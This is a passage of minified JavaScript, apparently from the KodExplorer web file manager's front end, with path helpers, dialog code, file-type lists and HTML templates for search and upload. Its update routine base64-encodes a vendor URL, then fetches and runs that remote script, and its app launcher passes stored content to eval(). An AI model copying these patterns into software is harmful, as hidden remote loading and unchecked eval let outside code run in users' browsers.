e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},i=!!window.ActiveXObject||"ActiveXObject"in window,t="chrome";i&&(t="ie"),core.filetypes.music=e[t].music,core.filetypes.movie=e[t].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var i=$($(this).attr("title-data"));e=i.is("input")||i.is("textarea")?i.val():i.html()}return e=e?e:"",e.replace(/\n/g,"<br/>")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,zipView:function(e){new zipView(e)},tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],archive:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","bz2","zx","z","arj"],archive_list:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","zx","z","arj"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,i){if(i=void 0==i?"":i,"string"==$.type(e)){var t=trim(trim(e),"/");if(e={},"{"!=t.substring(0,1)||t.split("/").length>1)return{icon:"",name:""};e.path_type=t.match(/\{.*\}/),e.id=t.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:i}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=i),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var i=e.match(/\{.*\}/),t=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return-1!==$.inArray(i[0],t)&&(a=!0),a},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var i=e.match(/\{.*\}/);return i[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(i){}var i=e||window.event;return i?i&&$(i.target).is("textarea")||$(i.target).is("input")||$(i.target).is("p")||$(i.target).is("pre")||0!=$(i.target).parents(".can_right_menu").length||0!=$(i.target).parents(".topbar").length||0!=$(i.target).parents(".edit_body").length||0!=$(i.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var i=rtrim(this.pathClear(e),"/"),t=i.lastIndexOf("/"),a=i.substr(t+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var i=e.replace(/\\/g,"/");return i=i.replace(/\/+/g,"/"),i=i.replace(/\.+\//g,"/")},pathFather:function(e){var i=rtrim(this.pathClear(e),"/"),t=i.lastIndexOf("/");return i.substr(0,t+1)},pathExt:function(e){var i=trim(e,"/");return-1!=i.lastIndexOf("/")&&(i=i.substr(i.lastIndexOf("/")+1)),-1!=i.lastIndexOf(".")?i.substr(i.lastIndexOf(".")+1).toLowerCase():i.toLowerCase()},path2url:function(e,i){if("http"==e.substr(0,4))return e;void 0==i&&(i=!0);var t,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var i=urlEncode(e);return i=i.replace(/%2F/g,"/")};return G.is_root&&i&&a.substring(0,G.web_root.length)==G.web_root?t=G.web_host+n(a.replace(G.web_root,"")):(t=G.app_host+"index.php?explorer/fileProxy&access_token="+G.access_token+"&path="+urlEncode(a),G.share_page!==void 0&&(t=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),t},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var i;i=G.json_data.filelist;for(var t=0;i.length>t;t++)if(i[t].path==e)return void 0==i[t].is_readable||1==i[t].is_readable?!0:!1;i=G.json_data.folderlist;for(var t=0;i.length>t;t++)if(i[t].path==e)return void 0==i[t].is_readable||1==i[t].is_readable?!0:!1;return!0},pathCurrentWriteable:function(){return"editor"==Config.pageApp?!1:G.json_data.info?G.json_data.info.can_upload:!1},authCheck:function(e,i){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==i&&(i=LNG.no_permission),Tips.tips(i,!1),!1):!0},ajaxError:function(e){var i=e.responseText,t=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),"<!--user login-->"==i.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==i&&(i="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置<br/>请联系主机商或网管,检查防火墙配置!"),i='<div class="ajaxError">'+i+"</div>",t?t.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,i,t){var a="filename";"http"==e.substr(0,4)&&(a="file_url");var n="./index.php?editor/fileGet&"+a+"="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&"+a+"="+urlEncode(e)),"./index.php?"==e.substr(0,"./index.php?".length)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,i,a){core.ajaxError(e,i,a),"function"==typeof t&&t()},success:function(e){"function"==typeof i&&i(e.data.content,e,n)}})},fileInfo:function(e,i){var t="index.php?explorer/pathInfo";G.share_page!==void 0&&(t="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:t,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof i&&i(e)}})},fileLink:function(e,i){var t='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(t,function(e){var t=e.code?e.data.download_path:!1;return t?("function"==typeof i&&i(t),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(i){i.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),i=template.compile(e),t=ShareData.frameTop();t.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:i({LNG:LNG,G:G})}),t.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,i){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var t="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="<a href='"+quoteHtml(e)+"' s='"+e+"' target='_blank'><img src='"+t+"' style='border:1px solid #eee;'/></a>";$.dialog({follow:i,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var i=ShareData.frameTop(),t=i.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return t},openDialog:function(e,i,t,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="<iframe frameborder='0' name='Open"+a+"' src='"+htmlEncode(e)+"' style='width:100%;height:100%;border:0;'></iframe>",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:t,ico:i,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(i){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,i){void 0==e&&(e=""),void 0==i&&(i=core.pathThis(e));var t="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(t="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(t,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:i,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var i="index.php?/editor&project="+e;G.share_page!==void 0&&(i="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(i)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var i=G.static_path+"style/skin/"+e+".css";i!=$("#link_css_list").attr("href")&&$("body").append('<img src="'+i+'" onload="core.setSkinFinished();" onerror="core.setSkinFinished();" class="hidden setSkin_finished">'),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),i="kod_diy_style",t=LocalData.getConfig(i);"object"!=typeof t&&"object"==typeof G.user_config.theme_diy&&(t=G.user_config.theme_diy),"object"!=typeof t&&(t={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(i,t)),G.user_config.theme_diy=t;var a="";if("diy"==e&&t){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(t)}$.setStyle(a,i)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),i=e.document.documentElement;i.requestFullscreen?i.requestFullscreen():i.mozRequestFullScreen?i.mozRequestFullScreen():i.webkitRequestFullScreen&&i.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,i,t){var a=UUID();(t===void 0||""==t)&&(t=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o='<object type="application/x-shockwave-flash" class="'+a+'" '+n+' name="'+t+'" id="'+t+'" data="'+e+'" width="100%" height="100%" tabindex="-1" >'+'<param name="movie" value="'+e+'"/>'+'<param name="allowfullscreen" value="true" />'+'<param name="allowscriptaccess" value="always" />'+'<param name="allowScriptAccess" value="always" />'+'<param name="flashvars" value="'+i+'" />'+'<param name="wmode" value="transparent" />'+'</object><div class="aui_loading" id="'+a+'_loading"><span>loading..</span></div>';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var i=ShareData.frameTop();e=i.$("."+a)}if(1==e.length)var t=0,n=e[0],o=setInterval(function(){try{t++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):t>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(i){}},100)},50),o},userSpaceHtml:function(e){var i=e.split("/"),t=parseFloat(i[0]),a=1073741824*parseFloat(i[1]),n=core.fileSize(parseFloat(i[0])),o=core.fileSize(a),s=n+"/",r=100*t/a;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="<div class='space_info_bar'><div class='space_process'><div class='space_process_use "+l+"' style='width:"+r+"'></div></div>"+"<div class='space_info'>"+s+"</div>"+"</div>"},fileSize:function(e,i){if(void 0==e||""==e)return"";if(void 0==i&&(i=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var t={G:1073741824,M:1048576,K:1024,B:1};for(var a in t)if(e>=t[a])return(e/t[a]).toFixed(i)+a},uploadCheck:function(e,i){return i=void 0==i?!0:i,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(i&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(i&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"<div class='do_search'>\n <div class='search_header'>\n <div class='s_br'>\n <input type='text' id='search_value'/><button class=\"btn btn-default btn-sm btn-right\"><i class=\"font-icon icon-search\"></i></button>\n <div style='float:right'>{{LNG.path}}:<input type='text' id='search_path' title=\"\" title-data=\"#search_path\" title-timeout=\"100\"/></div>\n </div>\n <div class='s_br'>\n <input type='checkbox' id='search_is_content' class=\"kui-checkbox size-small\"/>\n <label for='search_is_content'>{{LNG.search_content}}</label>\n <input type='checkbox' id='search_is_case' class=\"kui-checkbox size-small\"/>\n <label for='search_is_case'>{{LNG.search_uplow}}</label>\n <div style='float:right'>\n {{LNG.file_type}}:<input type='text' id='search_ext' title='{{LNG.search_ext_tips}}' title-timeout=\"100\"/>\n </div>\n </div>\n </div>\n <div class=\"search_desc\"></div>\n <div class='search_result'>\n <ul class=\"file-items\"></ul>\n </div>\n</div>\n\n"),define("app/common/tpl/search_list.html",[],'<!-- 文件夹列表 -->\n{{each data.folderlist as v i}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="folder" data-ext="folder">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{\'folder\' |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n{{/each}}\n\n<!-- 文件列表 -->\n{{each data.filelist as v i}}\n {{if v.search_info}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file" data-ext="{{v.ext}}">\n <div class="file-info file-result">\n <span class="switch"><i class="font-icon icon-caret-right"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | window.htmlEncode}}</span>\n <span class="result-num">{{v.search_info.length}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n <ul class="result-item">\n {{each v.search_info as value index}}\n <li class="result-info">\n <span class="line" data-line="{{value.line}}">{{value.line}}:</span>\n <span class="search-info">{{#value.str | searchResultPrase}}</span>\n </li>\n {{/each}}\n </ul>\n </li>\n {{else}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file-name" data-ext="{{v.ext}}">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'<div class=\'file_upload\'>\n <div class=\'top_nav\'>\n <a href=\'javascript:void(0);\' class=\'menu this tab_upload\'>{{LNG.upload_local}}</a>\n <a href=\'javascript:void(0);\' class=\'menu tab_download\'>{{LNG.download_from_server}}</a>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'upload_box\'>\n <div class=\'btns\'>\n <div class="upload-btns">\n <div id=\'picker\'>{{LNG.upload_select}}</div>\n \n <div id=\'picker_folder\' class="hidden">select Folder</div>\n <div class="upload_cert_box hidden">\n <button title="More" type="button" class="upload_cert dropdown-toggle" data-toggle="dropdown">\n <span class="caret"></span>\n </button>\n <ul class="dropdown-menu pull-left animated menuShow">\n <li><a href="javascript:void(0);" class="drag_upload_folder" draggable="false">{{LNG.folder}}</a></li>\n </ul>\n </div>\n </div>\n \n <div class="upload_box_tips">\n <div class="btn-group btn-group-xs">\n <button title="{{LNG.upload_clear_all}}" type="button" class="btn btn-default upload_box_clear_all">{{LNG.upload_clear_all}}</button>\n <button id="set_icon" title="{{LNG.upload_clear}}" type="button" class="btn btn-default upload_box_clear">{{LNG.upload_clear}}</button>\n </div>\n </div>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'uploader-content\'>\n <div class=\'uploader-list\'></div>\n </div>\n </div>\n <div class=\'download_box hidden\'>\n <div class=\'list\'>{{LNG.download_address}}<input type=\'text\' name=\'url\'/>\n <div class="download_btn_group btn-group">\n <button class=\'btn btn-default btn-sm download_start\' type=\'button\'>{{LNG.download}}</button>\n <button type="button" class="btn btn-default btn-sm dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">\n <span class="caret"></span>&nbsp;\n <span class="sr-only">Dropdown</span>\n </button>\n <ul class="dropdown-menu">\n <li><a href="javascript:void(0);" class="download_start_all">{{LNG.upload_add_more}}</a></li>\n </ul>\n </div>\n\n </div>\n <div style=\'clear:both\'></div>\n <div id=\'downloader\'>\n <div class=\'download_list\'></div>\n </div>\n </div>\n</div>\n'),define("app/common/tpl/fileinfo/file_info.html",[],"<div class='pathinfo'>\n {{if download_path}}\n <div class='p'>\n <div class='title' style=\"line-height: 30px;\">{{LNG.download_address}}:</div>\n <div class=\"content input-group\">\n <input type=\"text\" class=\"download_url\" value='{{download_path}}'>\n <div class=\"input-group-btn\">\n <button type=\"button\" class=\"btn btn-default open_window\">{{LNG.open}}</button>\n <button type=\"button\" class=\"btn btn-default qrcode\"><i class=\"icon-qrcode\"></i></button>\n </div>\n </div>\n <div style='clear:both'></div>\n </div>\n <div class='line'></div>\n {{/if}}\n\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content' id='id_fileinfo_path'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n\n {{if file_md5}}\n <div class='p'>\n <div class='title'>MD5:</div>\n <div class='content {{if file_md5 == \"...\"}}file_md5_loading{{/if}}'>{{file_md5}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if image_size}}\n <div class='p'>\n <div class='title'>{{LNG.image_size}}:</div>\n <div class='content'>{{image_size.width}} × {{image_size.height}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n <div class='line'></div>\n\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n \n {{if mode}}\n <div class='line'></div>\n <div class='p change_permission'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/fileinfo/path_info.html",[],"<div class='pathinfo'>\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.contain}}:</div> \n <div class='content'>{{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}</div>\n <div style='clear:both'></div>\n </div>\n \n <div class='line'></div>\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mode}}\n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/zipview.html",[],'<div class="zipViewContent menuEmpty">\n <div class="header_title">\n <div class="item name"><span>{{LNG.name}}</span></div>\n <div class="item size"><span>{{LNG.size}}</span></div>\n <div class="item mtime"><span>{{LNG.modify_time}}</span></div>\n <div class="clear"></div>\n </div>\n <div id="{{treeID}}" class="ztree"></div>\n <div class="bottom">\n <span class="info"></span>\n </div>\n</div>'),define("app/common/core.search",[],function(){return function(e,i){var t,a,n=function(){var n=trim(core.pathClear(i),"/"); -if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(tpl_search_box);0==$(".dialog_do_search").length?(t=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=i,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(i),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var i=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(i,'<span class="keyword">'+i+"</span>");else{var t=e.toLowerCase().indexOf(i.toLowerCase());e=e.substr(0,t)+'<span class="keyword">'+e.substr(t,i.length)+"</span>"+e.substr(t+i.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var i=$(this).parent();return i.toggleClass("open"),i.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path")),a=core.pathFather(t);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(t)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path"));return ui.pathOpen.open(t,i.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(t,i.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var 